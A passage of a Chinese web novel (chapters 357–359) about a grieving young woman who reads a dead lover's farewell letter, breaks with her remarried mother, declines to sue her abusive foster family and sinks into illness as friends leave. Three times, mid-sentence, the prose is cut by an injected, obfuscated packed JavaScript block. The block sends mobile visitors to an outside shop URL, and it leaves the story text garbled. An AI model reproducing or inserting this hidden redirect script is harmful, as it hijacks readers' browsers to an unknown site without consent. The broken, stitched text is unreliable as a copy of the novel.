初与序神色一怔,下意识匆匆朝他走去。 可刚迈出两步,那人却向后退去,直到他们之前的距离恢复到五米左右,他才停下。 “冬逢初!”初与序站住不动了,她听见自己的声音颤抖,“我不走了,你别往后退,求求你。” 冬逢初稳稳当当地站在那里,没有再退。他只是淡淡地笑,看着他的目光缱绻眷恋,身上沾染着一点悲伤的味道。 “你要去哪?”初与序深吸一口气。 冬逢初默然抽烟,立在恒古的冰原上,万古长夜竟也矮了几分。脚下蓝幽幽的千丈寒渊映得他肤色发冷,眉眼却依旧是温柔的。 少顷,他侧过身,用烟头点了点远处的天际线,云淡风轻道:“因纽特人说,人死后,灵魂会去一个很远很远的地方。路上要穿过一整片永夜的冰原,没有星,没有月,只有雪。走得太冷了,太久了,就会忍不住跑起来。跑得越快,灵魂就越轻。轻到浮上天空,就成了极光。” “他们怕活着的人找不到路回来,就在天上用极光烧一把火,照着他们回家的方向。” 他顿了顿,看着那道横贯天际的光带。 “可我还听过另一版。”冬逢初笑了笑,“不是所有人都舍得让活着的人找到自己。” “那些不肯走的,就把灯举到天上,日日夜夜照着。照到极昼来,照到极夜去。活着的人在冰原上走啊走,怎么走也走不到他跟前。不是灯不够亮,是举灯的人往后退。这样你就永远看得见他,永远找不到他。这样你往前走的时候,就能一直一直看着他。” 他终于收回视线,看向初与序,面容在袅袅烟雾中朦胧不清。 冬逢初轻声说:“可是阿序,这样你会很痛苦。” 烟雾散开,露出他唇边一点笑意。 “所以,以后我就不来看你了。”他说着,缓缓向后退了一步。 初与序猝然睁大眼睛——她看见冬逢初身后,那片冰面消失了,取而代之的是陡峭的悬崖,暗蓝色的深渊在下方涌动。他的半只脚已经搭在崖边,脚跟悬空,只要再退一步,就会踩空,坠落。 “别走!”初与序忙道,想冲上前将冬逢初拉回来,可不敢动,只好伸出手,掌心向上,“冬逢初,你要放弃我吗?你要丢下我一人?” 冬逢初静静地望着她,极光在他身后流转,绿与蓝交织,漫过天穹。 他轻轻摇了摇头:“阿序,你的未来没有我了。” 遥远的地方隐隐约约传来了雷声,初与序浑身一僵,紧张地看向冬逢初:“我知道,冬逢初。这件事我们日后再说,你先回来,你不要站在那里。” 冬逢初的瞳孔里倒映着深蓝苍穹里无比宏伟的极光,那里面还有一丝水光,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243419|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睫被寒气浸染得湿润。他不舍地望着初与序,动了动唇,看口型是——对不起。 随即,他留在冰面上的那条腿忽然向后一迈,整个人直直坠下悬崖! 初与序倒吸一口冷气,扑向悬崖,伸手去抓冬逢初。 上空突然传来一声闷雷!她脚下一空,失重感裹挟住身体,天旋地转。 她看见极夜墨蓝的天穹正在急速远离,一缕冰蓝光带从尽头朝着她的方向垂落,像谁伸出手,却够不到她。群山静默,冰原退后。 轰隆隆——!!! 初与序骤然惊起,猛地转过头看向卧室玻璃窗。 暴雨毫不留情地狠狠敲击着玻璃和屋檐,噼里啪啦。闪电再次劈开黑暗,将整个房间照成惨白。所有破败和腐烂都在这一瞬暴露无疑,又迅速融进黑暗。 初与序脸色惨白,乌黑的鬓发被冷汗浸湿,张开唇微微惊恐地喘着气。 少顷,她勉强呼了口气,剧烈跳动的心脏才缓缓平复下来。 手机屏幕收到了某条不要紧的软件消息,屏幕亮起,显示凌晨三点十七分。初与序看了一眼,又把手机放下。 那一声闷雷过后,雨就渐渐小下来了,没再像夜里那么暴烈,变成了绵密持久的沙沙声。地板硬邦邦的,隔着一层薄被褥,硌得肩胛骨和胯骨都在疼。大夏天的她却觉得冷,干脆没再躺下,随便找了件旧外套披着,坐在窗边看外面的雨。 天快亮时,雨停了,她收到了景明垂发来的消息,说六点在公园见。 于是她拿起钥匙,现在就出门,沿着湿漉漉的小路走出小区。 清晨的公园,天还没亮透,是将明未明的灰蓝色。大雾浓得化不开,从湖面升起,漫过石桥和亭子,让人感觉自己升到了仙境。 石板路是湿的,昨夜的雨没走干净,洼处积着浅浅的水镜,倒映着灰白的天光和树影。街边两侧的梧桐树郁郁葱葱,叶子坠着水珠,半天才啪嗒落下一滴。 还没到晨练的时候,公园里一个人都没有。 景明垂来到湖边时,雾散去一点,就看见初与序坐在湖边的长椅上,捧着一杯咖啡,换了件稍微厚些的外套,抵挡着微凉的风。 “吃早饭了吗?”景明垂在她身边坐下。 初与序把另一杯咖啡递过去,想了想,还是点了点头:“吃了。” 景明垂接过咖啡,没拆穿她的假话,朝着湖对面抬了抬下巴:“随歌他们在那里打乒乓球,一会儿过来找我们。” 湖对面种了一排柳树,枝条软软地垂着,雾里看过去影影绰绰。即便如此,还是能隐约看见随歌那一团张扬的黄毛,在柳树丛里蹦来蹦去,大概是和向枝冥打球输了,在手舞足蹈地比划着什么。 初与序靠在椅背上,面无表情地看着那边。 景明垂垂了一下眼睛,微风拂过她的发丝。片刻,她再抬起眼,说道:“冬逢初给你留了一封信,在永冬之城交给我了。” 初与序一愣,转头看向她,就瞧见景明垂从身后取出一封浅蓝色的信封。 信封更干净,没有任何褶皱。左上角和右下角各贴着一朵压干的勿忘我,带着永冬之城的气息。 357.别怪我 “看看吧。”景明垂将信交到初与序手上, 初与序缓缓拆开信封,映入眼帘的是白色的信纸,边缘染着浅浅的蓝。熟悉的字迹铺满纸面,一笔一画,写得很用力。 「亲爱的阿序: 吾爱,展信佳。 当你展开这封信的时候,我已经不在你身边了。 其实我从不擅长写信,这也是我第一次提笔。在善佑医院醒来的时候,我连自己的名字都没有。第一次在天台上与你说的名字,是我当场取的。医院的人说,你叫初与序。既然我是在冬天遇见你的,那就取名叫“冬逢初”吧。 直到现在,我也无比喜欢这个名字。 此刻窗外在下雪,你那边的安徽是夏季,应该总是下雨吧。我记得你以前在医院说过,不喜欢雨天,我也不喜欢。除了这个,医院里的有些事我已经记不太清了。 只记得我第一次睁眼,了解到我存在的原因后,是不愿意留在这里的。但那天我路过你的病房,看见你坐在窗边,低头看一本书,没注意到我。窗帘没拉,冬日的暖阳光照在你侧脸上,你是多么的温柔。我看见你,忽然就愿意停留在这个世界上了,这一生我离不开你了。 如果我是真实存在的就好了,或许那样,我们真的可以一起去苏州,我可以给你弹第三遍《time mechine》,送你第三束勿忘我。 我的后半生都在后悔,后悔没有早点告诉你,能遇见你是我这一生最好最好的事;后悔小时候在善佑医院,只敢把勿忘我放进你手心,不敢说那是我的心。后悔在副本拜堂时,没能多看你几眼。 阿序,我本身就是一个不该存在的人。我的生命从你而来,也本该于你而终结,这没什么好遗憾的。 只是对不起,说好了要永远陪你。我食言了。 你别怪我。 我或许会在梦里与你说因纽特人的传说,那其实是骗人的。极光不是灵魂点的灯,是冰原上的冷光,照不亮回家的路。 你千万不要朝着它走。 你要朝着天亮的地方走,朝着有人的地方,有烟火的地方,有夏天的地方,我会站在你身后。无论你选择怎样的人生,无论你走向何方,我都会支持你。我最大的愿望,是希望你能够按照自己的心愿做选择。 信写到最后,我突然不知道该怎么落笔。就像我刚刚写的,我其实不太会写信。我想说得很多,但又怕说得太多了,反而成了你的负担。 所以,就这样吧。 求你不要忘记我,我爱你。 冬逢初」 初与序仅仅看到一半,视线就模糊了。眼泪砸在纸面上,落在“我爱你”三个字上,洇开一小片模糊的灰色。她忙用手背去擦,但泪水顺着脸颊不停地滴落,越落越凶,一滴接一滴,砸在这封薄薄的信上。 景明垂轻轻推过来一包纸,初与序抬起头,对上景明垂担忧的目光。她想说没事,但一开口就变成了哽咽。她低下头抽出纸巾,按在眼睛上,纸很快被泪水浸透,温热的湿意从掌心蔓延开来。 这是离开永冬之城后,她的情绪第一次外露。 泪水像异常迟到了多年的暴雨,即使停了,也会留下水洼,她的后半辈子都会泡在这片潮湿里。 天已经差不多亮透了,来公园晨练的人们渐渐多了起来。有人牵着狗慢悠悠走过,有人在湖边打太极拳,几个老人聚在亭子里下象棋。 他们经过这条长椅时,会向这个哭泣的年轻姑娘投来目光,很快礼貌地移开视线,继续各自的事。谁也不知道她为什么而哭,谁也不知道她失去了什么。 在现实的这几天像一场梦,直到此刻,初与序才再也没法否认地意识到——冬逢初真的回不来了,而她从来没有走出过那个冬天。 湖这边,江意等人不知何时来到了这里。他们远远地看着长椅上的两个身影。 随歌的心揪了一下,背过身用力擦了一下眼尾。向枝冥移开了目光,江意往远处走了几步,什么都没说。 不止初与序一个人没有走出那段刻骨铭心的时光,他们都没有。 中午的时候,初与序接到了初母的电话。 屏幕亮起,来电显示是一串陌生号码,接起来才听见母亲的声音。母亲在电话里语气热络,发了地址,让她去饭店吃饭。 初与序沉默了几秒:“好。” 包间在饭店三楼,临窗,能看到楼下川流的车河。服务员把初与序领到门口,躬身推开门,做了个“请”的手势,便悄无声息地退下了。 初母已经坐在里面,她今天穿一身藕荷色的旗袍,长发在脑后盘起,耳垂上一对珍珠,整个人端庄大气。见初与序进来,她扬起笑容,朝她招了招手:“小序!快来,来妈妈身边坐下。” 初与序顿了顿,没有走过去,绕过长桌,在母亲对面坐下来。 初母的手在空中僵了片刻,慢慢收回去,轻轻叹了口气:“跟妈妈都不亲近了……没事。” 说着,她起身拿起公筷,往初与序面前的碗里夹菜:“多吃点,看你瘦的,皮包骨头了都。这么多年都没好好吃饭,妈妈还记得你小时候喜欢吃土豆丝,还有西红柿炒蛋。特地点的,你尝尝。” 碗里的菜很快堆成小山,初与序抬手轻轻挡了一下:“妈,够了。吃不下这么多。” 初母只好停下动作,讪讪地坐回座位。 两个人相视无言,初母张了张嘴,试图找话题:“小序啊,你昨天出院怎么都不跟妈妈说一声?身体怎么样了?” “挺好的。” “哦……那你生日快到了吧?七月二十九?有没有想要的生日礼物啊?妈妈给你买。” 初与序抬眼看她:“我生日是十月二十九,还早。” 初母愣了一下,脸上闪过一丝尴尬,喃喃道:“……哦,记错了,是十月份来着。” 初与序看着她,轻轻叹了口气:“妈,您这次叫我来,有什么想说的,就直说吧。” 初母抿了抿唇,嗫嚅道:“妈就是想你了,来叫你吃顿饭,看看你……” 初与序不为所动地望着她。 初母被她看得有些不自在,沉默了几秒,最终道:“确实有点事跟你商量一下。” 她从身旁的爱马仕包里取出一个信封,又从信封里抽出一张银行卡,放在转桌上,轻轻一转,卡片滑到初与序面前。 “妈在这张卡里存点钱,给你的,不多,你先用着。”她说,“以前那家人私自吞掉生活费,你受苦了。现在想买什么就用卡里的钱买,不够了还可以找妈要。” 初与序看着那张卡,没有动。 “之前你去别墅,也知道妈现在的生活了。”初母犹豫着开口,“夏叔叔也是中国人,妈在新加坡的合作伙伴。他人挺好的,对妈也好,我们就结婚了。小熙是妈后来生的妹妹,年纪小,不懂事。前几天她砸你,妈和夏叔叔已经骂过她了,她也知道错了,不该对姐姐动手……” 说到这里,她顿了一下,不由自主地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243420|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向初与序的额角。但刘海遮住了,看不到有没有留疤。她的视线便又往下移,落在初与序脖颈上。 绷带已经拆了,右侧脖颈上留下了一道浅粉色的疤痕。 初母盯着那道疤看了几秒,初与序忽然抬手,将衣领往上拉了拉,遮住了她的视线。 初母定了定神,继续说:“你也知道,小熙还小,不太习惯她突然有个姐姐。她没有什么安全感,毕竟以前一直是家里唯一的孩子。妈跟夏叔叔也是夫妻了,你不是他亲生的……” 她顿了一下,斟酌着措辞: “……就别来妈妈家里住了,只能委屈你暂时住这边的老房子。” “好。”初与序点了点头。 她倒不介意继续住在这里,要是让她搬去那个金碧辉煌,雕梁画栋的别墅,那才是噩梦。 “妈,我很想知道。”初与序一字一顿地问,“这些年,为什么不回来接我?” 初母愣了一下,似乎没料到初与序会问这个,也似乎不知道怎么回答。她眼神躲闪,吞吞吐吐道:“妈想着……多挣点钱,攒够了钱,再回来接你,给你更好的生活。以前那个家,什么都没有,你跟着妈妈也是吃苦。” “现在妈不是赶回来了吗。等八月份,我和夏叔叔把国内的事办完,小熙开学了就去新加坡。到时候也带你一起过去,你去新加坡读大学,或者在那边复读一年,再自己靠喜欢的学习,都可以……” “我不去新加坡。” 初母的戛然而止,她惊讶地微微提高了音量:“不去?那你想去哪?不想和妈妈一起去新加坡吗?” 初与序摇了摇头:“我不会跟着你们去那里,也不想去任何地方。我有自己的安排,不用您担心。” “我想问,您打算拿寄养家庭的那家人怎么办?” 初母听到这个问题,脸色沉了一下,并不希望初与序提到他们。 “小序,你前几年受苦了,那家人那么对待你,妈也想让他们付出代价。”她叹道,“但流程很麻烦,我们只在国内待一个月,走不完法律程序。而且妈和夏叔叔刚回国,有很多生意上的事要处理。妈帮你,他会不高兴。” “一切都过去了,人得往前走,不是吗?就……算了吧,小序。” 初与序缓缓皱起眉,有些不可思议道:“算了?” 初母连忙道:“他们一家人前几天也找到妈妈,诚心诚意道了歉,还把一部分抚养费退回来了。妈妈也原谅了他们,人家都认错了,哪有再找他们麻烦的道理?小序,你也要为妈妈想一想。事情已经发生了,无法挽回,我们不可能把宝贵的时间浪费在这上面。” “您真的是这么想的吗?”初与序面无表情道。 “……小序。” 初母避开她的目光:“就把当作命吧。你爸早早去世,那也是命。我们也没活在他病逝的阴影里,现在不也过得好好的?妈知道你委屈,但你不能真的揪着这事儿不放,对吧?日子总要往前过。” 初与序从座位上站起身,伸出手轻轻拨了一下转桌,转桌带着银行卡回到初母面前。 “妈,我明白了。”她说,“钱我不需要,您拿走,留给您小女儿。我不会跟你们回新加坡,以后也不会再去打扰你们。希望您和夏叔叔过得幸福,天天开心。” 话落,她后退一步,朝着初母深深地鞠了一躬,然后朝着门口走去。 初母张了张嘴,想喊住她,但想了想,终究没出声,看着女儿的背影离去。 358.仲夏 从那天开始,江意等人发现,初与序的状态变得很差很差,非常明显。过往所有的压力和痛苦如同决堤的洪水奔涌而出,将她彻彻底底淹没。 除了不得不去便利店赚点生活费,她几乎不出门,不想说话,甚至不想吃饭。烟瘾越来越大,像在抽烟的那几分钟里麻痹神经。开始耳鸣,严重到她不说,旁人都能直接察觉到。整夜整夜睡不着,短短几周,她本来就不怎么健康的体重瘦到七十多斤。 景明垂去找她时吓了一跳,以为她身体上生了什么重病,二话不说将她拽进了医院。可一顿检查下来,除了严重营养不良和贫血,没查出器质性问题。 医生看了她一眼,轻描淡写地让她去精神科看看。景明垂立刻就要拖初与序去精神科。初与序这下死活不乐意了,景明垂没拗过她。 于是她和随歌、齐无尽商量了一下,轮流守在初与序家楼下,怕她做些什么。 有时候初与序出门上班,就看见他们中某一个蹲在路灯下,朝她弯起眼睛笑。 她望着他们叹了口气,让他们别管她了。几个人上一秒答应得好好的,下一秒就躲到远处,继续守着。冬逢初不像他们,他倒是言出必行。自从那天说“以后我就不来看你了”,就真的再也没有来过初与序梦里。 江意知道这事儿后,认为随歌他们天天这样守着,初与序压力更大,她没办法承受任何人因为她而疲惫,她会觉得自己是负担,把五个人轰走,转头自己就去了初与序工作的便利店找人。 初与序的失眠像跗骨之疽,白天睡不着,晚上怕黑更不敢闭眼。于是她干脆选择上夜班,从晚上十点到七点。回家后累了,才能勉强睡着一两个小时。 便利店里只有初与序一人,她扎着松松的丸子头,此刻长袖挽到了手肘,露出一截细瘦的小臂,正在柜台后整理货架。 听到门口的“欢迎光临”,她把袖子拉下去遮住手臂,转过身和江意对上了视线。 “我让景明垂他们别天天蹲你家楼下了,你放心。”江意推了推黑框眼镜,“我们聊聊吧。” 初与序没有说话,将椅子推给江意,自己也坐了下来。 江意开门见山道:“你高考多少分?” “四百九。” “你很厉害,真的。”江意由衷地赞叹道。 初与序自嘲地笑了一下。 四百九,能上公办二本了。江意承认,他见过的所有人当中,有很多像初与序这样,聪明顽强,在绝境中杀出一条血路,在崩溃中把自己拼起来。但很少有人如她那样,完全没有任何人托举,一个人摸爬滚打,从十四岁到十八岁,被困在善佑医院,被当作实验体,被抽取精神力,被用来建造一座城市。 她高中三年的知识都是靠着医院图书馆的书自学,没人教,没人问,也没有习题集。她只在离高考半个月时才被接出来,勉强去学校补了一点基础,然后考了四百九。 如果初与序像普通学生一样,坐在窗明几净的教室里,不用担心明天会不会挨打,明天自己还会不会活下来,能把全部精力放在卷子上,她会是一个非常开朗活泼的小姑娘。会笑,会话多,多在下课铃响起时和朋友去小卖部。 她的分数绝不是四百九。那些她本该考上的顶尖学府,那些她本可以去见识的广阔天地,那些她本应拥有却被夺走的平常明亮的青春,全都还给了寄养家庭,还给了善佑医院,还给了永冬之城。 现在,即使她愿意回去复读,她的身体和精神状态也绝对不允许。 她的一生很难再走上正轨了,这是不得不承认的事实。 初与序有两个心结,第一个就是永冬之城。 即使所有玩家都安全回到了现实,那些曾被摧毁的家庭在新世界里重新圆满,那些死亡的人在新世界好好活着,可她依然无法原谅自己。 她始终认为,如果不是她,永冬之城便不会存在。 如果不是她,那些人不会被卷入无尽的轮回,不用死的死,痛的痛。 在这些玩家中,她尤其对江意最为愧疚。 江意在这个新世界里没有患癌,他继承家业,重夺公司控制权,把那些觊觎他位置的人一个个踹下去,他过上了所有人眼中“应有”的生活。 可即使在新世界,他其实也并不想像现在这么活。 苏叶没有复活,那个在旧世界里陪他走过一程的人还是死在了竹翰学院。江意在永冬之城被胃癌折磨了就寝多年,他得到的结局并不是他想要的。 初与序对江意道歉过无数次,江意都说没关系,他不在乎,可初与序在乎。 她无法原谅自己,身为妄主,身为这一切苦难的始作俑者,她让江意从第零批玩家变成管理员,让他以长生之躯承受了九千多年的病痛和轮回,可江意最终并没有解脱。初与序放不下这件事,她是除江意和随歌之外,最希望苏叶回来的人。 第二个心结,就是寄养家庭和她的生母。 “我知道你想起诉寄养家庭。”江意平静地开口,“我能帮你。” 初与序抬起眼看向他,江意从背过来的背包里取出平板,划了几下屏幕,然后转过方向放到初与序面前。屏幕上是一份他整理的法律文件,条目清晰,证据完整。 “他们一家人犯了虐待被监护人罪,非法拘禁罪,诈骗罪,故意伤害罪。”江意字字清晰道,“根据《刑法》第二百六十条,第二百三十八条,第二百六十六条,第二百三十四条,数罪并罚。” “我能保证刑罚上限为二十年左右。如果你想,可以无期,他们也会赔到倾家荡产。” 江意与初与序对视,一字一顿:“初与序,我公司就有分部在合肥,离这边只有一小时车程。我能留在这里帮你,直到这件事彻底结束,他们受到法律的制裁,你得到你想要的结局。” “不要拒绝我们的帮助,你值得。” “但是,”他话锋一转,“有一点你需要知道。” 江意将平板翻过来,屏幕朝下盖起来。十指交叉放在桌上,端正地坐着:“你母亲作为法定的唯一监护人,在法律上是第一责任人。” “她当年并未通过民政部门,私自将你委托给无资质家庭,并在后期很长一段时间支付高额费用。这在法律上已经涉嫌长期主动的监护失职,她甚至可以涉及‘遗弃’的刑责风险。” “你是受害者。”江意顿了顿,继续说,“如果你出具书面的《谅解书》,当庭表示不希望追究你母亲的责任,那么阿姨将免于刑事处罚。” “但她会留下案底,并且会在国内停留至少三到六个月,处理完所有司法程序。” 话落,他站起身,垂眸看着初与序。 便利店的冷光落在她垂下的眼睫上,映得她的脸色更加苍白发冷。 “我给你两天时间考虑。”江意说,“只要你说‘愿意’,甚至只要点一下头,我就去找律师。” 没等初与序有什么反应,他转身推开门离开,深夜的风涌进来,他笔挺的背影融入夏夜浓重的墨色里。 现在已经是八月中旬,初母和夏先生已经带着小女儿离开了这座闷热的城市。他们似乎并没有直接回新加坡,而是去了三亚。 初与序是在第二晚便利店守夜时,刷到母亲朋友圈的,是九宫格照片。 第一张是三亚的海,天空是通透的蓝色,云朵一团一团地浮着,被阳光镶上金边。海绵倒映着一切,波光粼粼,金色的光在浪尖跳跃。几只海鸥张开翅膀,从镜头边缘掠过。 初母穿着一袭白裙,戴着宽檐草帽,站在沙滩上,牵着小女儿的手。她微微侧身,对着镜头温柔地笑着,眉眼弯弯。从沙滩上的倒影能看出,是夏先生拿着相机在拍她们。 最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243421|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张,是一家三口的全家福。夏先生揽着初母的肩膀,小女儿被他们一人牵着一只手,站在海天之间。 初与序看着照片里母亲幸福的表情,少顷她也笑了一下。随即她点开母亲的主页,按下“不看她的朋友圈”选项,将手机收回口袋,继续工作。 她不知道母亲现在还爱不爱自己,也许是爱的。母亲当年是真的毫无保留地爱她,一两百的补课班说报就报,饭桌上永远有她爱吃的菜。小时候放学回家,她喜欢叽叽喳喳跟母亲讲学校里的事。上午老师夸她口算得了满分,下午和同桌李得福玩翻花绳赢了。母亲就弯着眉眼认真地听,偶尔接几句话。 后来父亲病了,母亲开始变得很忙,忙着赚钱,忙着陪父亲去医院,忙着应付那些亲戚明里暗里的风凉话。她的脾气越来越暴躁,把初与序关在门外是常事。但那段时间,母亲还是在意她的。 母亲这一生也很苦,从小在重男轻女的家庭里长大,要让着弟弟,要求着家里人给她念书。后来结了婚,丈夫又早早病逝。她无法带着一个才十岁的女儿去人生地不熟的新国家,只能用当时仅剩的一点存款给初与序找一个寄养家庭,至少那家人表面上看起来很好。 然后她走了,一个人去新加坡,从零开始打拼,顺利开了自己的公司,有了门当户对的丈夫,有的新的女儿。 于是第三天晚上,江意打来电话,问她考虑好了吗,她没有说“好”。 八月的夜晚比七月更加闷热,所谓的“秋老虎”盘踞在城市上空,把夏夜蒸得像个蒸笼。晚风裹着热气吹过来,卷着梧桐树叶从天穹飘落在水泥地上,吹得挂在楼外的百叶窗哗啦啦响成一片。 初与序举着手机站在自家楼下的路灯光晕边,没有走进去,隐在黑暗里。 “算了。”她苦笑一声,轻描淡写道,“我妈现在的丈夫对她很好,她刚过上好日子,如果我再给她惹出什么麻烦事,牵扯到官司,他们一家人得恨死我。她说的话是对的,我也得想想她,就算了吧。” “算了?”江意没有惊讶,只是又确认了一遍,“初与序,是你母亲把你送到寄养家庭的。如果那家人没有受到任何法律追究,你很难走出这段阴影。” 初与序把手机换到另一边,仰起头看着楼上自己的那层,此刻拉着窗帘,看不见什么。 远处有小孩在哭,被家里人哄着,哭声渐渐小了。 她沉默了很久,久到江意以为她已经挂断了电话,正准备拿下手机看一眼,才听见她用怎么压也压不下去的浅浅鼻音说:“为什么我妈要送我去寄养家庭,而不带我走。我站在我妈的立场思考,可能是因为我自己,和亲戚们的讨伐吧。” “当时她是真的想给我最好的,她不希望我跟着她去异国他乡吃苦。那时候她什么都没有,自己都活不下去,怎么带着我?她家里的亲戚不喜欢女孩子,所以也不喜欢她养我。我爸刚病逝的时候,他们说是我拖累的,是我妈没本事。毕竟言语能压死人,我妈失去爱人很痛苦,还要被自家人这么骂,各种压力下才不得已如此,暂时抛下我离开吧。” 初与序抬起头看着天上那轮半圆的月亮。月光很淡,被城市的灯火映得几乎看不见。 “她是个很厉害的女人,没有让孩子束缚自己,毅然决然选择离开,去远方奔波,终于开了自己的公司,有了自己的家。如果没有我,她能更早离开这里,更早遇见夏先生,更早过上现在这种幸福的生活。” “所以我从来没有怪过她。”初与序的声音越来越轻,“我心疼她,我懂她做的一切。 “出问题的人是我,是我对不起她。” 晚风又吹过来,四周安静,只有偶尔驶过的车辆,带着一阵风声远去。 “我无法释怀我这么多年的痛苦,可我也无法让我唯一的亲人流泪。无论如何,她过得幸福就好了,我衷心祝福她。” 359.暮秋 在新世界,时间似乎过得很快。不知不觉已经夏末了,天气不再闷热,雨也下得少了。傍晚的风里开始带上一点点凉意,拂过皮肤时是清爽的疏朗。 暂时待在安徽的朋友们也一个一个离开这座城市。 第一个是景明垂,她的分数足够上中央戏剧学院,录取通知书早到了,开学前两周便买了回江苏的车票。九月份她会去北京上学,去努力实现她的梦想——成为一名话剧演员。 初与序去车站送她。临近开学,站台上四处可见拖着行李箱离家的大学生,广播里不断重复着列车信息。 景明垂站在检票口前,对着初与序千叮咛万嘱咐:“好好吃饭,知道吗?不能一整天只喝几口水。我到时候会给你寄蛋白粉和维生素,你得按时吃。好好睡觉,每天保持联系,有事一定要和我说,不能自己扛着。” 阿山坐在一旁,被负责宠物托运的工作人员牵着。它吐着舌头,两条前爪直起来,扑到初与序身上,不断用脑袋去蹭她,好像想把什么潮湿哀伤的东西从她身上蹭掉。 初与序蹲下来,伸手摸了摸阿山的脑袋,又站起来,给了景明垂一个拥抱。 “你去中戏,也照顾好自己。”她说,“生病就了马上吃药,别再像在善佑医院那样,不喜欢吃药就偷偷扔掉。” 景明垂拍了拍初与序的背,单薄的衣服下面是更瘦削的背脊,这一瞬间她忽然觉得鼻子有些酸。那种感觉很难形容,像是所有人都在生机勃勃地往前走,朝着太阳的方向走,只有初与序一个人停留在原地,浸润在绵延与她整个人生的雨季里,湿冷阴郁,等不到放晴。 她想起很久以前所有人对冬逢初的印象——轻飘飘的,像一阵风就能吹散,并不真实。 此刻这个印象,转移到了初与序身上。 最终,景明垂把所有难言之语,所有对初与序的期望、祝福和担忧,都塞进了“再见”两个字里。 初与序轻轻地笑了笑,她站在月台上,目送景明垂走进车厢,就像在永冬之城里,目送她登上D019次列车进入副本时那样。 第二个离开安徽的是随歌。 九月中旬,他买了回北京的票。乐队的成员还在北京等他,等着录《Bitter Dawn》的专辑,还要准备十一月二十二号的演唱会。 临走前,他塞给初与序一张演唱会的门票,眼巴巴地瞅着她:“初与序啊,我给你留了位置,给意哥留了,给景明垂留了,给向枝冥和安楚留了,给那个红毛也留了。你们都得来啊,机票我包了!你可一定要来啊,我在台上弹吉他,你们得在下面给我鼓掌!” 初与序收下了门票。 第三个离开的是江意,他是在九月底走的。那时候的天气已经不热了,风吹过来让人觉得凉嗖嗖,早晚温差开始拉大。 他需要去美国继续管理公司的生死,他不在的日子里,什么事都有可能发生。十一月份之后,他会尽量回国,只在北京待着。毕竟随歌和景明垂都在北京,苏叶的墓碑也在那里,他的父母从葬礼结束后就没去过扫墓。 江意就像一棵扎根北京的大树,离开北京,离开苏叶的墓地所在处,就是把他整个人连根拔起,迟早有一天会枯萎。 上飞机之前,江意站在安检口,垂眸静静看着初与序,淡淡开口:“初与序,人生没有哪条路是一定正确的,后悔也是常事,你大胆去做。” “以后很难经常见面了,希望你每晚都能睡个好觉。” 最后离开的就是齐无尽。 齐无恙在九月中旬开学前被莫楠接回了里斯本,小姑娘走之前,给了初与序一个熊抱,仰着脸说“初姐姐你要好好的”,然后被莫楠牵着,一步三回头地走过了安检。 齐无尽暂时没跟着他们一起走,他仍然留在安徽,陪了初与序很长一段时间。或者说,是他不放心让初与序一个人在这座城市,硬要留下来,即使向枝冥和安楚就在不远的玄机观里生活。 十月中旬时,他快走了。 那时已经暮秋,温度直线下降,白天还有一点阳光,早晚冷得需要穿厚外套。取代虫鸣蛙声的是寒风的呼啸。街边的枫树红了,金红的叶片堆在树底下,风卷过去沙沙作响。便利店的冰棍换成了关东煮,冒着热气的咖啡和豆浆开始售卖,店员的工服也加了一层内衬。 初与序不再担心穿长袖会不会热,也把低丸子头改成了在永冬之城时的披发,这样能暖和一些。 其实安徽的秋天并没有多么冷,只是她越来越瘦,便越来越怕冷。 她的状态没有比夏天时好多少,反而更严重了,尤其是失眠和胃疼,她只能慢慢熬,熬不到头。她在手机上从来不跟景明垂等人说这些,他们不知道,但留在安徽的齐无尽能看出来。 就比如今晚,齐无尽站在街对面,看着初与序坐在便利店门口的长椅上,盯着手里包子看了半个小时,都没吃下一口,最终只是端起水抿了一口。 初与序没有选择去上大学或者复读,这几个月她找了很多兼职,便利店上夜班、给小学生当家教、写短篇文章赚稿费、偶尔去拳场凭身手赢钱。她不再像小时候在寄养家庭里那样,没有钱,那家人不给饭吃就只能饿肚子。 但即便这样,她也几乎不花钱。 还有能穿的衣服,就从来不买新的。稍微贵一点的菜舍不得买,生病了就硬抗,从不去医院。她拼命地把钱存起来,就好像这些存款能穿透时光,转移到小时候的自己身上,把那个不存在的小孩重新养一遍。 而现在,她身上穿着的那件灰色连帽卫衣,是再不穿厚衣服就会被冻死,不得不买,在网上花十几二十块买的,特意买大一码的款式把她清瘦的身体裹住,昏黄的路灯映着她清秀却冷淡的侧脸,让人看一眼就觉得生人勿近。 她的影子被光线拉得很长,延伸到马路中间。偶尔有车驶过去,车灯一闪,那影子就消失几秒,又重新浮现。 齐无尽在街对面站了一会,随后把烟掐灭,扔进垃圾桶。然后穿过街道,走到便利店门口。 